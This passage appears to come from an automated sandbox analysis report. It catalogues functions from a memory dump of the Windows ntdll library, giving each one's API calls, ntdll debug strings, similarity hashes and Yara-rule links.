RtlReleaseSRWLockExclusive.1105(6AA085F0,6AA085F0), ref: 6A915400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6AA085F0), ref: 6A915422

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 7ef32226f6003a3d39734e3454f818a64b652420d5234609641e52b54e30d970
Instruction ID: cddc5fd8c2af89c5c456d0b70d94f1a501aad078b73f84caff03cc068c5ec955
Opcode Fuzzy Hash: 7ef32226f6003a3d39734e3454f818a64b652420d5234609641e52b54e30d970
Instruction Fuzzy Hash: AA31C472349315AFD710CF28C4C4A9AB3A8BF55318F67456DE8618B292DF30ED068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A920225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6A920315: memcpy.1105(6AA07C54,?,00000040,00000000,00000000,000000FF,?,?,6A920254,6A9EF868,00000038,6A91F563), ref: 6A920371
Part of subcall function 6A920315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6A920254,6A9EF868,00000038,6A91F563), ref: 6A92042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6A9202BA

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 6A9761E1
$, xrefs: 6A92029C
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6A9761D0
LdrpProcessDetachNode, xrefs: 6A9761D7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: f5142e7f25d22c86ee90d2d4693490c0b8a6c02c6ebe9cef6184cbe2d310ced4
Instruction ID: 45a80c9b5d54df43446e22a69ad5f1a0c66f466fe5750fd54bbb6bba2ad9697f
Opcode Fuzzy Hash: f5142e7f25d22c86ee90d2d4693490c0b8a6c02c6ebe9cef6184cbe2d310ced4
Instruction Fuzzy Hash: 1E31AE70D61204DFEB11CF68C898A9EBBB4BF09308F31849AD401AB289DF71DA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A920C30, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(6AA08550,?,?,00000000,000000FF,6A9EF868,00000038,6A91F563), ref: 6A920C6F
RtlReleaseSRWLockShared.1105(6AA08550,6AA08550,?,?,00000000,000000FF,6A9EF868,00000038,6A91F563), ref: 6A920C98

Strings

Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6A97642C
minkernel\ntdll\ldrtls.c, xrefs: 6A97643D
LdrpCallTlsInitializers, xrefs: 6A976433

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-70613900
Opcode ID: 95d2f1495ad6ef5f8581beb5c558d0f7ecd2e37a69b33a410041f6fc03b56ad2
Instruction ID: 473d3d87aa375ef75f068ae69ec144a6cf06ce30fa3d434ff6b5c28456a7a743
Opcode Fuzzy Hash: 95d2f1495ad6ef5f8581beb5c558d0f7ecd2e37a69b33a410041f6fc03b56ad2
Instruction Fuzzy Hash: 5C21E2B2D04719ABEB20CF548840B9ABBB8FF45718F21861EE92063244EB30EC418691

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C6243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6A9C6275

Part of subcall function 6A9CCF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6A9CCFC1
Part of subcall function 6A9CCF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6A9CD0B8
Part of subcall function 6A9CCF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6A9CD0CD
Part of subcall function 6A9CCF70: ZwClose.1105(?,?,?,?), ref: 6A9CD139
Part of subcall function 6A9CCF70: ZwClose.1105(00000000,?,?,?), ref: 6A9CD14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6A9C62A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6A9C62B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6A9C62CC

Part of subcall function 6A929660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6A973065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6A929680

Strings

U, xrefs: 6A9C625F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: eee12dcfe01a04a57b71f3acadd1fc76e932a23a829fffcccd80e6dc74420c1e
Instruction ID: 13a410f08a5e7d024b5bf7af8467c8c3282160f49bcdea09e9a44b94eccd9ee1
Opcode Fuzzy Hash: eee12dcfe01a04a57b71f3acadd1fc76e932a23a829fffcccd80e6dc74420c1e
Instruction Fuzzy Hash: 6B11733150162CAAEB60DB618C49FEAB3BCAF15304F2045E9D90AD3141FF70EA59CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6A9AFDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6A96FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6A9AFDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6A96FA1C,00000000), ref: 6A9AFE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6A9AFE34

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6A9AFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6A9AFE01

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: 5771ef763d16ea753618bbb4ff4cf4cab2339a4a2f427e1ed02d6960a18e35a6
Instruction ID: 15288f4a117b6a720a4eddc35d210dd0a6f3e1675e6c4595aca941b10d6a35db
Opcode Fuzzy Hash: 5771ef763d16ea753618bbb4ff4cf4cab2339a4a2f427e1ed02d6960a18e35a6
Instruction Fuzzy Hash: 4FF0C232200101BFDA200A45DC05F23BB6AEB85774F350256F728561D1EE62F820C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 6A933690, Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55346c25c50ed5e4b233b03dea1be94b4cd6f80945f1cdc964534882cea9896
Instruction ID: 3b333a7595f2a881387f1470d55f43cc29b46a5e9fc3b2820d413a0df0ad8e35
Opcode Fuzzy Hash: d55346c25c50ed5e4b233b03dea1be94b4cd6f80945f1cdc964534882cea9896
Instruction Fuzzy Hash: AAD16E75D042698BDB20DFA9C1802BEB7F6FF44710F76401AD895AB344DB71E986CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A911190, Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6A9111B9

Part of subcall function 6A9111E0: iswctype.1105(0000000A,00000004), ref: 6A911244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6A96EB6B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: e74e7a49a3ab3760bf8672758f90bbf12af1c471288468c7d79cfdf7a0cadaf7
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: 02412876604119AAF728C965DCC1BB9B3B8EF12764F31452AE451D72C0EF38DE41D260

Uniqueness

Uniqueness Score: -1.00%

Function 6A94F296, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 6A94F2E0: RtlAcquireSRWLockExclusive.1105(6AA086AC,00000000,00000000,00000000,0000000C,?,6A94F2BF,00000000,00000000,?), ref: 6A94F2F1
Part of subcall function 6A94F2E0: RtlReleaseSRWLockExclusive.1105(6AA086AC,?,?,6AA086AC,00000000,00000000,00000000,0000000C,?,6A94F2BF,00000000,00000000,?), ref: 6A94F31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6A98BB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6A98BBE9

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: ecd9f6239b5d1d91f5e822a513a38c4d48f9b8b424306757b56522f178acda93
Instruction ID: a605b7fadb1d174e28e31c0a3310b9ff7b710827a2205b6f9121126e4d673857
Opcode Fuzzy Hash: ecd9f6239b5d1d91f5e822a513a38c4d48f9b8b424306757b56522f178acda93
Instruction Fuzzy Hash: BA31E5759002159ECB11DF68C885BEEB7B4FF54708F2484A9D849AF247DF31DA86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A93C4A0, Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6A93C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6A93C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6A982E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6A982E69

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: f7fc7a7a7e59314453f505b3de534afff09b690ad3a0f62ac6ab0cfdee1bcc1b
Instruction ID: bc1089cbff3cc8161884cb226c3dc28193e79109eddb83acf9f221ea316e55ac
Opcode Fuzzy Hash: f7fc7a7a7e59314453f505b3de534afff09b690ad3a0f62ac6ab0cfdee1bcc1b
Instruction Fuzzy Hash: 5A21483560A638AFCB018F748854AAF77F8AF46359F218469ECA15B202DF31FD098790

Uniqueness

Uniqueness Score: -1.00%

Function 6A920541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6A9204FB,6A9EF890,0000001C,6A9203A8,?,00000000), ref: 6A920569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6A9206E7
RtlCompareUnicodeString.1105(?,6A9EF890,00000000,6A9203A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6A920717

Part of subcall function 6A929660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6A973065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6A929680

Strings

VS_VERSION_INFO, xrefs: 6A9206DE

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: ce085535fb624cba9594cf55edbff12467be08da0ff1db400fd2f1315a87e126
Instruction ID: aba7fb94b3c507dca8571aca625d5a05e85c4c0189e4ef0c4bb9f34a60f0e949
Opcode Fuzzy Hash: ce085535fb624cba9594cf55edbff12467be08da0ff1db400fd2f1315a87e126
Instruction Fuzzy Hash: FF51E335A202169EFB10CBB1CCA0BAAB7BDAF54645F214529D968DB2C9EF70DD01CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6A911390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 6A911783: RtlAcquireSRWLockExclusive.1105(?,6A9113C0,6A9EF288,00000044), ref: 6A911793

RtlReleaseSRWLockExclusive.1105(?,6A9EF288,00000044), ref: 6A911462

Part of subcall function 6A911986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6A9113F2,6A9EF288,00000044), ref: 6A911995

memcpy.1105(?,0000000E,?,6A9EF288,00000044), ref: 6A91143D

Strings

#%u, xrefs: 6A96EE91

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: 67196e61c3563c69e957bfd40c6dfbfbea4ac59b95ad4fca8ac21cb60e85b707
Instruction ID: 37b744d92ab17beb1e60fec412a371ccfbe5ac11e8fbbcef31f7a904697679b5
Opcode Fuzzy Hash: 67196e61c3563c69e957bfd40c6dfbfbea4ac59b95ad4fca8ac21cb60e85b707
Instruction Fuzzy Hash: E6418175B08219AFEB11CF5CC88069EB7B6AF96704F364059E824AB381DF71DC42C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A9117B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6A9EF2C8,00000018), ref: 6A9117D7
RtlGetIntegerAtom.1105(?,?,?,6A9EF2C8,00000018), ref: 6A9117F3

Part of subcall function 6A91187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6A911921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6A9EF2C8,00000018), ref: 6A91185D

Part of subcall function 6A911986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6A9113F2,6A9EF288,00000044), ref: 6A911995

Strings

Atom, xrefs: 6A9117C7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: 802df47798f7617eafb7d3b6f75573a0a4e81941800fc92fa4238025845d3b56
Instruction ID: b1913d6aeaee80e59378664099971e5986d18d776c0a48d74acf2e662c6736b5
Opcode Fuzzy Hash: 802df47798f7617eafb7d3b6f75573a0a4e81941800fc92fa4238025845d3b56
Instruction Fuzzy Hash: E2314135D04229ABEB40CF9488846AEF3B9BF1A754B32815EE864AB240DF34DD4187A5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A4955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6A9A49E1

Strings

SXS: %s() found activation context data at %p with wrong format, xrefs: 6A9A4A03
RtlpQueryRunLevel, xrefs: 6A9A49D4, 6A9A49FE
SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6A9A49D9

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 93bbc4803d0af7fe486e2ab004ee72ded67de854e39230e658cb7e1b8c4a3ef5
Instruction ID: 832ef8be40e4603f661a4c35062c91e597b1d40a4e4ec777d09dc1c5ebacccec
Opcode Fuzzy Hash: 93bbc4803d0af7fe486e2ab004ee72ded67de854e39230e658cb7e1b8c4a3ef5
Instruction Fuzzy Hash: BB21B572A04301AFC324CE0CC884E5BB7EDEBC5758F25865EFA595B242DE30ED40CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D40DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0FE0), ref: 6A9D4110

Strings

RtlSetUserValueHeap, xrefs: 6A9D4127, 6A9D4184

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: 9cfcd91e8db8cf40e5beb04f5c75ab656640c0a056e01814dd06edc2060c7ed4
Instruction ID: b3718098afb82ef605897636dc75c6e7aea170308d55da1d755f546aba2b440d
Opcode Fuzzy Hash: 9cfcd91e8db8cf40e5beb04f5c75ab656640c0a056e01814dd06edc2060c7ed4
Instruction Fuzzy Hash: 1321D330904A58AEDB11DFB8888469EBFB26FB5358F25C05CE45467292CF31CA858F90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D38B3

Strings

RtlGetUserInfoHeap, xrefs: 6A9D38CA, 6A9D3927

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: 915aa21c17b9fe9be59b9ec756dbee302756e6e865c632456e3f4b220e55e908
Instruction ID: 72e02e1bf2627e7212bbf74f6f97eb1c2b26c9332c47dd89fbbbd4fc5fad1066
Opcode Fuzzy Hash: 915aa21c17b9fe9be59b9ec756dbee302756e6e865c632456e3f4b220e55e908
Instruction Fuzzy Hash: 8321D131804A58EFDF019FB8894479EFFB1AF55358F24C048E4946B2A2CB71CA85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,6AA079A0,6A9F0EA8,00000024,6A986051,?,?,00000000,00000000,?,?,6A943347,?,00000000,?), ref: 6A9D423F

Strings

RtlSizeHeap, xrefs: 6A9D425B, 6A9D42B9

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 7c95bdc606a27bf2757c3907a2fec4da31cd657030ed10bf04f22badc2967b79
Instruction ID: fff5b251f143bfa021ebea172addba3600094f83af58c6c8be9dc1ddf5a7814f
Opcode Fuzzy Hash: 7c95bdc606a27bf2757c3907a2fec4da31cd657030ed10bf04f22badc2967b79
Instruction Fuzzy Hash: 7A21AF30914A189FEB10DBA8C6487DDBBF5AF95318F21C248D554672A1CFB18E858F94

Uniqueness

Uniqueness Score: -1.00%

Function 6A993E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6A97060B), ref: 6A993E23
wcstoul.1105(-00000002,6A97060B,00000010,?,?,00000000,?,?,6A97060B), ref: 6A993E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6A97060B), ref: 6A993E5A

Part of subcall function 6A993C93: wcschr.1105(?,0000003D,00000000,?), ref: 6A993CAC
Part of subcall function 6A993C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6A993CD0
Part of subcall function 6A993C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6A993D72
Part of subcall function 6A993C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6A993D89
Part of subcall function 6A993C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6A993DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6A993E51

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: 0154b9217469215ba600fc73aa0c33e8726f799ae22b61defdcb0f391972a002
Instruction ID: fc5c1b9dc0065fc0e286ff5d08e6c531c4c73de53c814216474b607ec3d42aef
Opcode Fuzzy Hash: 0154b9217469215ba600fc73aa0c33e8726f799ae22b61defdcb0f391972a002
Instruction Fuzzy Hash: 11F02B726006003BE71856A99C4BEAB7B5CCF96665F36015DFA1C9B282FE91DD01C1F0

Uniqueness

Uniqueness Score: -1.00%

Function 6A911FA1, Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6A9120AB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
